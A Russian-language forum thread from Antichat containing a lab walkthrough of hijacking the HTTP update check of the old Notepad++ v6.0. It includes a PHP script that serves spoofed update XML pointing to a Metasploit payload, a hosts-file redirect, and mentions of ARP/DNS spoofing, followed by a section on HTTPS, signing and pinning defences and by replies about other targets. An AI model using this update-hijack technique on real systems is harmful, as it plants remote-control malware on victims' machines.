HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Беспроводные технологии/Wi-Fi/Wardriving
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 19.02.2019, 02:52
n3d.b0y
Участник форума
Регистрация: 30.01.2018
Сообщений: 180
С нами: 4360567

Репутация: 0
По умолчанию



Привет, античат !

Эта статья посвящена теме, которая давно не дает мне покоя, — фейковым обновлениям ПО. Меня в целом захватывает мир атак типа Man-in-the-Middle (MITM), особенно их реализация внутри локальной сети. И подмена обновлений — один из самых коварных векторов. Года полтора назад я наткнулся на фреймворк Evilgrade и загорелся идеей понять его механику. Первая попытка разобраться с наскока провалилась, и я, честно говоря, забил. Но сегодня я вернулся к этой теме, и на этот раз добился результата.

Сразу оговорюсь: это не пошаговая инструкция для взлома. Моя цель — разобрать методологию атаки, показать ее внутреннюю кухню на простом и наглядном примере. Суть материала — продемонстрировать, как это работает на фундаментальном уровне. Давайте выйдем за рамки скрипт-кидди и прокачаем понимание процессов. Бездумно запускать готовый софт могут все, а вот понять принципы его работы — немногие.

Теоретические основы атаки
Прежде чем погружаться в практику, давайте разберем, как вообще устроен механизм обновления большинства программ.

Этапы обновления ПО:
  1. Программа отправляет на сервер разработчика запрос для проверки новой версии (автоматически или по клику пользователя).
  2. Сервер получает запрос, проверяет наличие обновлений и отправляет ответ.
  3. Программа обрабатывает ответ: если обновление доступно — предлагает его скачать и установить, если нет — сообщает, что используется актуальная версия.
Имея это представление, мы можем выстроить четкий план атаки.

Этапы проведения атаки:
  1. Перехватить и проанализировать запрос, который программа отправляет на сервер обновлений.
  2. Изучить структуру и содержание ответа, который присылает легитимный сервер.
  3. Поднять собственный веб-сервер в локальной сети.
  4. Реализовать атаку типа DNS Spoofing, чтобы перенаправить запросы от жертвы с адреса сервера обновлений на наш локальный сервер.
  5. Сформировать на нашем сервере поддельный ответ, который будет понятен программе и будет содержать ссылку на нашу вредоносную нагрузку.
Когда этапы ясны, можно переходить к реализации. Если теория кажется туманной, не переживайте — на практике все встанет на свои места. В качестве «подопытного кролика» мы будем использовать старую версию программы Notepad++, которая идеально подходит для демонстрации этого вектора атаки.
Практическая реализация
Для воспроизведения атаки в лабораторных условиях нам понадобится следующий инструментарий:
  • Notepad++ v6.0 (скачать) — важно использовать именно старую версию, так как она общается с сервером по небезопасному протоколу HTTP.
  • XAMPP (скачать) — для быстрого развертывания веб-сервера Apache.
  • Wireshark (скачать) — наш главный инструмент для анализа сетевого трафика.
Начнем с установки Notepad++ v6.0. После установки запустите программу и инициируйте проверку обновления. Для этого в меню нажмите на
Код:
?
и выберите пункт «Обновить Notepad++».

Вы увидите окно с предложением скачать новую версию. Это именно то, что нам нужно.

Пока что нажимаем «Отмена» и открываем Wireshark. Выберите ваш активный сетевой интерфейс (тот, через который идет трафик в интернет).

В поле фильтра введите
Код:
http
и нажмите Enter. Теперь снова повторите запрос на обновление в Notepad++. Через пару секунд остановите захват пакетов в Wireshark и приступайте к анализу. В колонке
Код:
Info
вы легко заметите
Код:
GET
запрос, URL которого содержит слово
Код:
update
.

Изучив этот запрос более детально, мы видим
Код:
Full request URI
, который ведет на
Код:
notepad-plus-plus.org
. Чтобы убедиться, что это нужный нам эндпоинт, давайте перейдем по полному URL в браузере: http://notepad-plus-plus.org/update/getDownloadUrl.php?version=6.0

В ответ мы получим XML-документ, который сообщает программе о наличии новой версии и где ее скачать:

XML:


Код:
<
GUP>
<
NeedToBeUpdated>yes
<
/NeedToBeUpdated>
<
Version>7.5.9
<
/Version>
<
Location>http://notepad-plus-plus.org/repository/7.x/7.5.9/npp.7.5.9.Installer.exe
<
/Location>
<
/GUP>
Отлично! Мы нашли интересующий нас запрос и знаем, какой ответ ожидает программа. Сбор информации завершен, переходим к активной фазе.

Поскольку мы работаем в лабораторных условиях, я упрощу некоторые шаги, а именно DNS Spoofing и поднятие сервера. Для чистоты эксперимента это не критично.

Устанавливаем XAMPP и запускаем модуль Apache.

Переходим в корневую директорию нашего локального сайта:
Код:
C:\xampp\htdocs
. Здесь создаем две папки:
Код:
update
и
Код:
repository
.
  • Код:
    update
    — обязательная папка, так как она присутствует в URL запроса. В ней будет лежать наш скрипт-ответчик.
  • Код:
    repository
    — необязательная папка. Мы можем указать любой путь для скачивания пейлоада, но для порядка и чистоты структуры положим его сюда.

Теперь в папке
Код:
update
создаем файл
Код:
getDownloadUrl.php
со следующим кодом:

PHP:


Код:
&
lt
;
?
php
// Устанавливаем заголовок, чтобы клиент понял, что это XML
header
(
'Content-type: text/xml'
)
;
// Формируем наш поддельный XML-ответ
$xml
=
&
lt
;
&
lt
;
&
lt
;
XML
&
lt
;
GUP
>
&
lt
;
NeedToBeUpdated
>
yes
&
lt
;
/
NeedToBeUpdated
>
&
lt
;
Version
>
9.9
.9
&
lt
;
/
Version
>
&
lt
;
Location
>
http
:
//notepad-plus-plus.org/repository/payload.exe</Location>
&
lt
;
/
GUP
>
XML
;
// Отдаем XML клиенту
echo
$xml
;
?>
Как видите, код почти полностью повторяет оригинальный ответ, за одним ключевым исключением: в теге
Код:
<Location>
мы указываем путь к нашему файлу
Код:
payload.exe
.

Сам
Код:
payload.exe
я сгенерировал на Kali Linux с помощью
Код:
msfvenom
. Пример его создания можно найти в статье [Metasploit] устанавливаем обратное TCP соединение через ngrok. Готовый exe-файл поместите в папку
Код:
C:\xampp\htdocs\repository
.

Важное замечание: стандартные пейлоады, сгенерированные Metasploit, сегодня легко обнаруживаются практически любым антивирусом. В реальных условиях атакующие используют продвинутые техники обфускации, шифрования и загрузчики, написанные на заказ.

Давайте убедимся, что все настроено правильно. Перейдите в браузере по адресу
Код:
http://localhost/repository/
и проверьте, что ваш
Код:
payload.exe
на месте.

Затем откройте
Код:
http://localhost/update/getDownloadUrl.php
, чтобы увидеть сгенерированный XML.

Если у вас все выглядит так же, как на скриншотах, — вы на верном пути!

Остался последний шаг: заставить систему жертвы отправлять запросы на наш локальный сервер вместо настоящего. В реальной атаке для этого используются техники ARP-spoofing + DNS-spoofing (например, с помощью
Код:
arpspoof
и
Код:
dnsspoof
в Kali). Мы же, для простоты, отредактируем файл
Код:
hosts
на атакуемой машине.

Откройте с правами администратора файл
Код:
C:\Windows\System32\drivers\etc\hosts
и добавьте в конец строку:

Bash:


Код:
127.0
.0.1 notepad-plus-plus.org
Эта запись заставит ОС при обращении к домену
Код:
notepad-plus-plus.org
перенаправлять весь трафик на
Код:
127.0.0.1
(localhost), то есть на наш XAMPP-сервер.

Подготовка завершена. Время для проверки.

Возвращаемся в Notepad++ и снова запускаем проверку обновления. Программа обратится к
Код:
notepad-plus-plus.org
, но благодаря нашей манипуляции с
Код:
hosts
попадет на наш сервер. Наш скрипт отдаст поддельный XML, и программа предложит скачать «обновление». Соглашаемся.

После скачивания появится окно установщика.

Соглашаемся на запуск. Notepad++ закроется, а наш
Код:
payload.exe
выполнится, предоставляя нам контроль над машиной. В моем случае — я получил сессию Meterpreter.

Почему сегодня эта атака (в чистом виде) почти не работает?
Важно понимать, что описанный метод является классическим и сегодня сработает только против очень старого или плохо написанного софта. Современные приложения защищены от таких атак несколькими уровнями безопасности:
  1. HTTPS: Абсолютное большинство программ сегодня использует для обновлений зашифрованный протокол HTTPS. Это сразу же рушит всю атаку, так как мы не можем ни прочитать запрос, ни подменить ответ без манипуляций с TLS-сертификатами, что является отдельной, гораздо более сложной задачей.
  2. Проверка цифровой подписи: Надежные разработчики подписывают свои инсталляторы цифровой подписью. Даже если бы нам удалось подсунуть пользователю наш
    Код:
    payload.exe
    , операционная система или сама программа-обновлятор перед запуском проверила бы подпись. Обнаружив, что файл подписан не доверенным издателем (или не подписан вовсе), она бы заблокировала его выполнение.
  3. Certificate Pinning: Некоторые особо защищенные приложения «зашивают» в себя отпечаток легитимного SSL-сертификата сервера обновлений. При попытке MITM-атаки с подменой сертификата приложение обнаружит несоответствие и просто прервет соединение.
Выводы
Надеюсь, эта статья оказалась полезной и вы узнали что-то новое. Несмотря на то, что описанный вектор атаки устарел, он прекрасно иллюстрирует фундаментальные принципы атак класса Man-in-the-Middle. Понимание того, как программы общаются по сети, как анализировать их трафик и как можно манипулировать этим общением, — это основа основ для любого специалиста по кибербезопасности.

Знания, которые вы получили, — это инструмент. А как его использовать, зависит только от вас. Удачи на просторах античат !
 
Ответить с цитированием

  #2  
Старый 19.02.2019, 05:33
☠xrahitel☠
Новичок
Регистрация: 09.12.2016
Сообщений: 0
С нами: 4961332

Репутация: 0
По умолчанию

добавлю....

p/s Hijacking evilgrade
 
Ответить с цитированием

  #3  
Старый 19.02.2019, 11:11
GlowFisch
Новичок
Регистрация: 26.01.2019
Сообщений: 0
С нами: 3840558

Репутация: 0
По умолчанию

Гениально. А главное, что антивирус не сработает, файрволл будет молчать, а все потому, что обновление будет осуществлять программой из системы. Но есть одно НО! разве ПО, допустим тот же самый Chrome просто тупо скачивает обновление без проверки сертификата, подписи и хэша, установки соединений только по https и т.д. ? никакой верификации???
 
Ответить с цитированием

  #4  
Старый 19.02.2019, 12:16
n3d.b0y
Участник форума
Регистрация: 30.01.2018
Сообщений: 180
С нами: 4360567

Репутация: 0
По умолчанию

Цитата:

GlowFisch сказал(а):

Гениально. А главное, что антивирус не сработает, файрволл будет молчать, а все потому, что обновление будет осуществлять программой из системы. Но есть одно НО! разве ПО, допустим тот же самый Chrome просто тупо скачивает обновление без проверки сертификата, подписи и хэша, установки соединений только по https и т.д. ? никакой верификации???

Разное ПО надо рассматривать индивидуально. Думаю что у chrome будет все намного сложнее, как раз токи там будет проверка сертификат. Почти уверен на 100%. Но не нужно упираться в один chrome, не сработало с одно программой можно найти другую
 
Ответить с цитированием

  #5  
Старый 19.02.2019, 12:22
GlowFisch
Новичок
Регистрация: 26.01.2019
Сообщений: 0
С нами: 3840558

Репутация: 0
По умолчанию

Цитата:

n3d.b0y сказал(а):

Разное ПО надо рассматривать индивидуально. Думаю что у chrome будет все намного сложнее, как раз токи там будет проверка сертификат. Почти уверен на 100%. Но не нужно упираться в один chrome, не сработало с одно программой можно найти другую
А обновление google play market? ios? допустим у гугла провести такую атаку???
 
Ответить с цитированием

  #6  
Старый 19.02.2019, 19:24
kot-gor
Новичок
Регистрация: 07.09.2016
Сообщений: 0
С нами: 5095710

Репутация: 0
По умолчанию

добрый вечер, а как быть с подписанными программами?
 
Ответить с цитированием

  #7  
Старый 19.02.2019, 20:00
n3d.b0y
Участник форума
Регистрация: 30.01.2018
Сообщений: 180
С нами: 4360567

Репутация: 0
По умолчанию

Цитата:

GlowFisch сказал(а):

А обновление google play market? ios? допустим у гугла провести такую атаку???

Я еще не пробовал копать в этом направлении
Цитата:

kot-gor сказал(а):

добрый вечер, а как быть с подписанными программами?

Не дошел до этой ситуации по этому не могу сказать что делать.

p.s В ближайшем будущем хочу исследовать более сложные варианты. Если добьюсь положительного результат, тогда смогу поделиться опытом. Так как данный вектор атаки никто не раскрывает приходиться изучать все самому. У меня больше вопрос на текущий момент чем ответов)
 
Ответить с цитированием

  #8  
Старый 13.06.2019, 16:48
n3d.b0y
Участник форума
Регистрация: 30.01.2018
Сообщений: 180
С нами: 4360567

Репутация: 0
По умолчанию

Цитата:

Journey сказал(а):

first thank you for sharing, can you do that with andoid apps ??

In the context of Google Play, such a substitution does not work.
 
Ответить с цитированием

  #9  
Старый 26.09.2023, 23:54
xverizex
Новичок
Регистрация: 03.07.2017
Сообщений: 7
С нами: 4665206

Репутация: 2
По умолчанию

О, даже и не думал о таких обновлениях. Я думаю, что можно использовать arp spoofing для перехвата пакетов. Предварительно нужно написать софт, который при перехвате на определенный адрес, например на сервер notepad++, будет обрывать передачу и отправлять ответ с новым обновлением, ну и дать загрузиться. Такое возможно думаю. Только чтобы оборвать пакет, вроде нужно использовать bpf или firewall настроенный на определенные адреса исходящие.
 
Ответить с цитированием

  #10  
Старый 27.09.2023, 00:14
xverizex
Новичок
Регистрация: 03.07.2017
Сообщений: 7
С нами: 4665206

Репутация: 2
По умолчанию

Интересно, можно ли написать драйвер или с помощью bpf сделать так, чтобы нужный запрос переадресовать к себе, чтобы всего подключения к другому хосту приравнивались как к твоему. тогда бы можно было упростить некоторые вещи в плане генерации пакетов tcp и так далее.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.